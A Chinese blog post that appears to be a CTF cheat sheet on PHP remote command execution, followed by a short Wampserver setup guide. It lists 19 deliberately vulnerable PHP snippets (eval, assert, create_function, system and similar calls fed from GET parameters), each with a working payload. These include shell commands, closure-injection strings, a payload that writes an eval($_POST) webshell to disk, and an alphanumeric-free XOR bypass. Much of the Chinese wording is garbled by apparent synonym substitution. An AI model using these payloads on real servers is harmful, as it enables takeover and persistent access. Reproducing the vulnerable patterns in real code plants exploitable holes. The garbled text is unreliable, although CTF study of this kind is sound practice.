志达IT
做快乐程序员

php执行命令(php代码运行)

php执行命令

代码审计总要遇到指令履行或许说RCE,打CTF的进程中不免不会碰见,毕竟PHP是世界上最好的语言,总结一下
指令履行函数
E.g.1
error_reporting(0); show_source(__FILE__); $a = “$_GET[c]”; $b = “$_GET[d]”; $array[0] =$b; $c = array_map($a,$array); ?>
传入参数c和d,array_map函数效果将$a作为函数,$array作为参数,结构paylaod
?c=assert&d=system(%27ls%27);
E.g.2
error_reporting(0); show_source(__FILE__); $a = “$_GET[b]”; $b = create_function(”,$a); $b(); ?>
create_function 函数会创建一个匿名函数(lambda款式),在第一个echo中显示出名字,并在第二个echo语句中履行了此函数。
$b = create_function(”,$a);
这里$a为函数,’ ‘为参数
那么能够看作为
function lambda(){ echo ‘ ‘ ; }
传入payload
b= ;}phpinfo();/*
在function函数中即
function lambda(){ echo ‘ ‘ ;}phpinfo();/* }
后边的内容注释掉了,即履行指令php
E.g.3
error_reporting(0); show_source(__FILE__); $a = “$_GET[d]”; $b=’print’.$a.’;’; $f = create_function(‘$a’,$b); $f($a)
跟上面一样,尽管有一点变形,可是再$b的打印上没有特别之处,所以payload:
d=1;}system(%27ls%27);/*
一致。
E.g.4
error_reporting(0); show_source(__FILE__); $a = “$_GET[b]”; assert($a); ?>
没什么特别之处,assert直接作为函数履行,payload:
?b=system(%27ls;%27)
E.g.5
error_reporting(0); show_source(__FILE__); $a = “$_GET[b]”; $b = “$_GET[c]”; call_user_func($a,$b); ?>
call_user_func()函数的特点,知道后边的后边的$b为参数,前面的$a为函数即可
payload:
?b=system&c=whoami
E.g.6
error_reporting(0); show_source(__FILE__); $a = “$_GET[b]”; $b = array($_GET[‘c’]); call_user_func_array($a,$b); ?>
payload:
?b=assert&c=system(%27whoami%27);
E.g.7
error_reporting(0); show_source(__FILE__); $_GET[‘a’]($_GET[‘b’]); ?>
传入参数a和b,一个作为函数履行,一个做位参数,结构payload:
?a=assert&b=system(%27ls%27)
E.g.8
error_reporting(0); show_source(__FILE__); $a = “$_GET[b]”; eval($a); ?>
一句话木马有没有很熟悉,直接get方式传参给b即可,payload:
?b=system(“ls”);
E.g.9
show_source(__FILE__); echo ”
“; echo ‘请输入一个a的值’; echo ”
“; error_reporting(0); $price = $_GET[‘a’]; $code = ‘echo $name. ‘.’的美元价格是’ .$price.’; ‘; $b = create_function(‘$name’,$code); $b(‘iphone’); ?>
基本上归于3的内容加强版,要点便是需求进行闭合,,代码变多了,payload没有出入,要点仍是再$code的位置
payload:
?a=1;}system(%27ls%27);/*
E.g.10
show_source(__FILE__); error_reporting(0); $sort_by = $_GET[‘sort_by’]; $sorter = ‘strnatcasecmp’; $database = array(‘1234′,’4321’); $sort_function = ‘ return 1 * ‘ . $sorter . ‘($a[“‘ . ‘”] , $b[“‘ . $sort_by . ‘”]);’; usort($database,create_function(‘$a,$b’,$sort_function)); ?>
归于加强版别,$sort_function的内容进行闭合,也便是sort_by的参数值要实现闭合,结构payload:
?sort_by=%27″]);}system(%27whoami%27);/*
E.g.11
error_reporting(0); show_source(__FILE__); $a = “$_GET[c]”; $b = preg_replace(“/abc/e”,$a,’abcd’); var_dump($b); ?>
尽管加了正则,可是并没有什么卵用,假把式,payload:
?c=system(%27ls%27);
E.g.12
show_source(__FILE__); $commandExecution = “echo “; echo ”
“; system($commandExecution.$_GET[‘a’]); echo ”
“; ?>
payload
?a=<\?php\%20\@eval($_POST[a])\;%20\?>%20>2.php
一句话木马写入2.php
也有其它解法直接进行指令履行。
E.g.13
error_reporting(0); show_source(__FILE__); $a = “$_GET[c]”; echo ”
“; exec($a,$b); var_dump($b); ?
exec()函数直接履行指令,那么payload
?c=whoami
E.g.14
error_reporting(0); show_source(__FILE__); $a = “$_GET[c]”; echo shell_exec($a); ?
函数的特性shell_exec
?c=ls>2.txt
然后履行
?c=cat 2.txt
此时
E.g.15
error_reporting(0); show_source(__FILE__); $a = “$_GET[c]”; echo ”
“; echo `$a`; ?>
看到echo以及传入的字符串,办法类似于上面的一道
?c=cat%20flag.php>3.txt
直接拜访3.txt即可,或许
?c=cat%203.txt
E.g.16
error_reporting(0); show_source(__FILE__); $a = “$_GET[c]”; passthru($a); ?>
payload:
?c=cat%20flag.php
E.g.17
error_reporting(0); show_source(__FILE__); $cmd=$_GET[‘c’]; $fd = popen($cmd, ‘r’); while($s=fgets($fd)){ print_r($s); } ?>
payload
?c=cat%20flag.php
E.g.18
error_reporting(0); show_source(__FILE__); $command=$_GET[‘c’]; $descriptorspec=array( 0=>array(‘pipe’,’r’), 1=>array(‘pipe’,’w’), 2=>array(‘pipe’,’w’) ); $handle=proc_open($command,$descriptorspec,$pipes,NULL); if(!is_resource($handle)){ die(‘proc_open failed’); } while($s=fgets($pipes[1])){ print_r($s); } while($s=fgets($pipes[2])){ print_r($s); } fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($handle); ?>
payload
?c=cat%20flag.php
E.g.19 无字母shell
include ‘flag.php’; if(isset($_GET[‘code’])){ $code = $_GET[‘code’]; if(strlen($code)>40){ //检测字符长度 die(“Long.”); } if(preg_match(“/[A-Za-z0-9]+/”,$code)){ //限制字母和数字 die(“NO.”); } @eval($code); //$code的值要为非字母和数字 }else{ highlight_file(__FILE__); } //$hint = “php function getFlag() to get flag”; ?>
绕过正则,传入的参数中不能含有大小写字母以及数字,使用异或的当时绕过正则即可
‘); var_dump(‘|’^’/’); var_dump(‘{‘^’/’); $__=(“#”^”|”).(“.”^”~”).(“/”^””).(“|”^”/”).(“{“^”/”);//变量$_值为字符串’POST’?>
no.flag中提示了flag在getflag()办法中,那么自然需求结构payload去调用getflag()办法,需求参数长度小于40且绕过正则,那么能够想象一下
function getflag(){
xxxxxxxxxxxxxxxx
}
@eval($code);
函数的调用便是类似于上面的进程,那么eval在履行的进程中$code并不能直接履行,参考上面的题7那么我传入的code的参数的形式为$_GET[]且需求调用getFlag()办法,因为考虑到需求无字母,所以结合异或,那么payload便是下面的内容:
?code=${“{{{“^”?<>/”}[“”^”?”]();&_=getFlag
或许
?code=$=”`{{{“^”?<>/”;${$}_;&_=getFlag
这里
//_GET 的变形无字母shell
$_=”`{{{“^”?<>/”;
小结
大佬请绕路,如有过错欢迎师傅们指出。

php代码运行

php是一种通用的开源脚本言语,与C言语相似,是一种常用的网络编程言语。我们在运用php代码时,需求下载一个支撑php的运转环境,php代码能够简化编程过程,使编程变得不复杂,容易被更多的人所接受。对于初学者来说,还不太了解这方面的常识,那么下面小编通过实例教程,具体为我们解说一下php代码运转实例。期望能够处理php代码对我们的困扰。php
操作过程如下:
1.下载Wampserver
下载Wampserver,Wampserver提供了php运转的环境。
2.写php代码
写一段简单的php代码。
3.打开Wampserver,点击www目录
打开Wampserver,找到Wampserver的图标,左键,找到www目录点击。
4.把php文件拖进去
把刚才写的php文件拖进去,我刚才写的文件名字叫做1.php。
5.在浏览器输入localhost/1.php
打开浏览器,在浏览器输入:localhost/1.php,就能够看到作用了。
以上为我们共享了php代码的使用。随着php代码的广泛使用,现在网络编程言语变得越来越简单,轻松易学,能被更多的普通人所运用。现在计算机编程言语,现已覆盖了我们日常活动所有常识范畴,并逐步成为我们工作、学习中不可缺少的一部分,今天小编共享的教程,又协助我们温习了一遍php代码的使用,假如我们还有什么问题,能够给小编留言。

赞(0)
未经允许不得转载:志达IT网站 » php执行命令(php代码运行)
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

志达IT网站 每天分享编程和互联网的IT技术博客

登录/注册联系我们